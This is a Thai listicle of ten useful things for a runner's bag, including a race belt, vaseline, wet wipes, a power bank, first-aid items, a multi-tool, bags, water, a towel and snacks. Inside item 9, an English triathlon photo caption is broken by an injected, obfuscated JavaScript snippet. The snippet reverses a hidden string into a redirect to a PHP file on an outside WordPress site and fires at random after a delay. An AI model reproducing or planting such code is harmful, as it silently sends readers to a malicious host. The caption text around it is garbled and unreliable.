ของมีประโยชน์ 10 อย่าง ติดกระเป๋านักวิ่ง

10 อุปกรณ์ติดกระเป๋านอกเหนือจาก รองเท้าวิ่งและชุดใส่วิ่งจะมีอะไรอีกบาง เรามาดูกัน มีติดไว้ได้ใช้ประโยชน์เเน่นอน

1. BIB Holder หรือ Race belt

ตัวติด BIB แบบเข็มกลัดธรรมดา หรือจะใช้เป็นเเบบกระดุมติด BIB ก็ได้ มีสำรองติดตัวไว้ เวลาเข็มกลัดที่ติดมากับ BIB หายไปจะมีได้มีอุกรณ์สำรองใช้ หรือใครที่ชอบลงงานเเข่งเป้นประจำ และมีเป้าหมายที่จะพัฒนาไปสู่การวิ่งเทรล ฟุลมาราธอน หรือไตรกีฬา เเนะนำให้ลงทุนซื้อ Race belt ติดตัวไว้สักอัน ติดง่าย ไม่เสียเวลากลัดเข็มให้ยุ่งยาก ปรับขนาดได้ตามความยืดหยุ่นด้วย…สุดท้าย เราความีเชือกพกพาไว้ด้วย กรณีที่ไม่มีเข็มกลัดติด BIB จริงๆ เชือกสามารถใช้ได้ (ถ้าไม่มีอีก ลองไปดึงเชือกผุกรองเท้ามาใช้ก็ได้นะ)

2. วาสลีน

วาสลีนใช้ทาตามข้อพับต่างๆ ตามซอกจักเเร้ ซอกขา บริเวณคอ นิ้วเท้า หรือจุดที่เสี่ยงต่อการเสียดสีมากที่สุด ยิ่งเราลงระยะวิ่งไกลเท่าไหร โอกาสเสียดสียิ่งเกิดมากขึ้น เวลาจบการเเข่งขัน จะปวดเเสบทันที…ยิ่งเวลาอาบน้ำด้วยนะ…เเสบกันไม่ต้องบอกกันเลย คนที่วิ่งระยะไกล Half และ Full ควรมีพกพาไว้

3. กระดาษทิชชู่เปียก

เวลาคุณจะเข้าห้องน้ำทำธุระก่อนวิ่งหรือหลังวิ่ง พกกระดาษทิชชู่ไว้ไม่เสียใจภายหลังเเน่นอน นอกจากจะใช้ทำธุระส่วนตัวเเล้ว ยังใช้ทำความสะอาดร่างกาย เช็ดเหงื่อตามตัวแล้วเปลี่ยนใส่เสื้อเเห้งๆ ให้สบายตัวตอนกลับ

1428486864-IMG1947JPG-o — pantip.com/topic/33485325

4. Power Bank

ยุคนี้มือถือเป็นอุปกรณ์ที่สำคัญ นอกจากใช้สื่อสารเเล้ว นักวิ่งอย่างเรายังใช้เปิดเเอพวิ่ง เพื่อเก็บข้อมูลการวิ่ง ใช้เปิดหาต่ำเเหน่งงานวิ่ง (ใช้เวลาไปต่างจังหวัด) เปิดเพลงฟังระหว่างวิ่ง ใช้ถ่ายรูประหว่างวิ่ง…เวลาใช้มากเข้า นานเข้า จำเป็นต้องมีการชาร์จไฟใหม่อีกครั้ง สำคัญมากคือกรุณาเลือกซื้อสินค้าที่ได้มาตรฐาน เดียวไม่งั้นระเบิดคามือนะ

5. ยาสามัญประจำบ้าน

ยาลม ยาดม ยาหม่อง ใช้ได้หมด เเม้เราไม่ได้ใช้เเต่เพื่อนๆ นักวิ่งที่ไปกับเราอาจจะได้ใช้ก็ได้นะ สเปรย์กันตะคริว ยาใส่เเผลสด พลาสเตอร์ ก็น่าจะใช้บ่อย ทำเเผลและเอาไว้ติดตามนิ้วเท้าเวลาวิ่งจบรายการใหญ่ๆ

6. เครื่องมือ Multi-tool

เครื่องมือ Multi-tool หลายๆ คนอาจจะมองเป็นเรื่องไกลตัว เเต่เชื่อเถอะครับ มีไว้ใช้ประโยชน์ได้เยอะจริงๆ ตัดถุงอาหาร ขนม เจลต่างๆ ได้ดี ยิ่งนักวิ่งสายเทรลที่ต้องวิ่งเข้าป่า ไต่เขา ต้องกางเเคมป์ก่อนวิ่ง จะได้ใช่ประโยชน์มาก ทั้งแบบใช้ในชีวติประจำวันหรือเเบบฉุกเฉิน บางคนจะใช้ตัดเเต่งเเผลพุพ่องก็มี

7. ถุงพลาสติก

การใช้ถุงพลาสติกในประสารณ์จริงจะเน้นใส่เสื้อผ้าวิ่งที่ชุ่มไปด้วยเหงื่อ หรือพวกถุงเท้า รองเท้าที่เลอะเปื้อนโคลน คนวิ่งในเมืองอาจจะใช้เเค่เวลาเปลี่ยนเสื้อ เอาเสื้อวิ่งใส่ถุงเเล้วเปลี่ยนใส่ชุดเเห้งๆ ให้สบายตัว เเต่ใครที่ไปรายการวิ่งเทรล ถุงพลาสติกจะใช้ประโยชน์ได้หลากหลายมาก อย่างเช่น ใช้เป้นถุงกันน้ำ ถุงใส่ขยะ ถุงใส่เสื้อผ้ารองเท้าที่เลอะโคลน

8. น้ำดื่ม

ปกติเวลาวิ่งเสร็จ มักจะมีจุดให้น้ำใกล้ๆ เส้นชัย เเต่ก็มีเหตุการณ์สุดวิสัยเหมือนกัน เวลาน้ำหมด เรามีน้ำติดไว้ในกระเป๋าหน่อยก็ดีนะ อย่างน้อกพกขนาด 500 ml ไว้ก็ดี

9. ผ้าเช็ดตัว

ใช้ชุบน้ำทำความสะอาดเวลาเปลี่ยนเสื้อผ้า หรือใช้เปลียนเสื้อ เป็นที่รองพื้นเวลานั่ง ใครที่ไปเมืองหนาวก็ใช้ห่มเเก้หนาวเเก้ขัดไปก่อน หรือจะเอาเป็นพร็อพถ่ายรูปตอนวิ่งเข้าเส้นชัยก็ได้ สำหรับใครที่เเข่งไตรกีฬาด้วยน่าจะคุ้นเคยดี

Julie Ungerleider st<script srcset= — $Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands by her gear in the transition area during preparation for the start of the Carpinteria Triathlon on Sunday, Sept. 25, 2011. Ungerleider finished 160th overall in the Olympic course with a total time of 2:59:05. (Photo by Adam Caira)” width=”532″ height=”800″ /> (Photo by Adam Caira)

10. ขนมขบเคี้ยว

ของมีประโยชน์ 10 อย่าง ติดกระเป๋านักวิ่ง ชิ้นสดท้าย คือ พวกขนมคบเคี้ยว อย่างเมล็ดธัญพืช เม็ดอัลมอล ถั่วต่างๆ หรือเเม้เเต่ เนื้อเเห้ง Lerky ต่างๆ ใช้เป็นเเหล่งโปรตีน กินเเก้หิวเเละเพิ่มโปรตีนให้รร่างกายใช้ในการซ่อมเเซม พกพวกขนมปังและบิสกิต เอาไว้รองท้องด้วยก็ดีนะครับ